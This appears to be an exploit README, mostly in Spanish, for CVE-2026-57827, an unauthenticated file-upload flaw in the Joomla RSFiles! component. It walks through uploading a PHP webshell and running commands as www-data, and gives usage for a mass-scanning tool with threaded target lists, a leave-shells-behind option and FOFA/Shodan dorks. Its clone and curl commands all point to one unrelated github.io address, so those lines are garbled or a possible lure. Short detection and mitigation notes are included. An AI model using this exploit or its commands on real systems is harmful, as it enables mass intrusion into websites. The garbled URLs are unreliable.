
Demostrar la vulnerabilidad de ejecución remota de código no autenticada en el componente RSFiles! de Joomla a través de una carga arbitraria de archivos.
CVE-2026-57827 es una vulnerabilidad de severidad crítica (CVSS 9.8) de carga arbitraria de archivos sin autenticación en RSFiles! (com_rsfiles), un componente de gestor de archivos y descargas ampliamente utilizado para Joomla, en versiones < 1.17.12.
La vulnerabilidad explota un fallo de diseño de controlador dividido: RSFiles! separa su carga en dos tareas de frontend — una comprobación previa (control de permisos + lista de extensiones permitidas) y un método de escritura (guarda el archivo en disco). El método de escritura puede invocarse directamente, omitiendo por completo la comprobación previa. No se requiere autenticación ni token CSRF.
| Versión | Estado |
|---|---|
| < 1.17.12 | Vulnerable |
| 1.17.12+ | Parcheada |
Descubierto por: Phil Taylor, mySites.guru (10 de julio de 2026) Proveedor: RSJoomla (rsjoomla.com) Componente: com_rsfiles
RSFiles! divide su carga entre dos tareas de frontend separadas en /components/com_rsfiles/controllers/rsfiles.php:
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
&task=rsfiles.upload, omitiendo por completo la comprobación previa.JFile::upload()), que acepta cualquier tipo de archivo por defecto..htaccess protector que detendría la ejecución de PHP allí es una configuración de administración opcional que está DESACTIVADA por defecto.1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
| Archivo | Propósito |
|---|---|
/components/com_rsfiles/controllers/rsfiles.php | Controlador con las tareas vulnerables upload() y checkupload() |
/components/com_rsfiles/views/upload/tmpl/upload.php | Plantilla del formulario de carga del frontend (confirmado: name="file", task=rsfiles.upload) |
/downloads/ | Carpeta de descargas predeterminada en la raíz web (protección .htaccess DESACTIVADA por defecto) |
/briefcase/ | Carpeta Briefcase (también escribible) |
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
Las comprobaciones de seguridad (puerta de permisos + lista de extensiones permitidas) son un paso previo separado del método que realmente escribe el archivo. Solo el primero contiene las comprobaciones. El segundo —el que escribe en el disco— podría ser invocado directamente manipulando el parámetro task adecuado en la URL, eludiendo todos los controles de seguridad.
Este es un ejemplo de manual del antipatrón "comprobaciones y acciones en lugares distintos": la protección y la operación que se supone que debe proteger están desacopladas, y un atacante puede alcanzar la operación sin pasar por la protección.
git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://candisexterior171.github.io
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
Paso 1 — Subir el shell
curl -X POST 'https://candisexterior171.github.io' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
Paso 2 — Acceder al shell
curl 'https://candisexterior171.github.io'
Paso 3 — Ejecutar comandos
curl 'https://candisexterior171.github.io;hostname;uname -a'
Mitigación (si la actualización no es posible)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"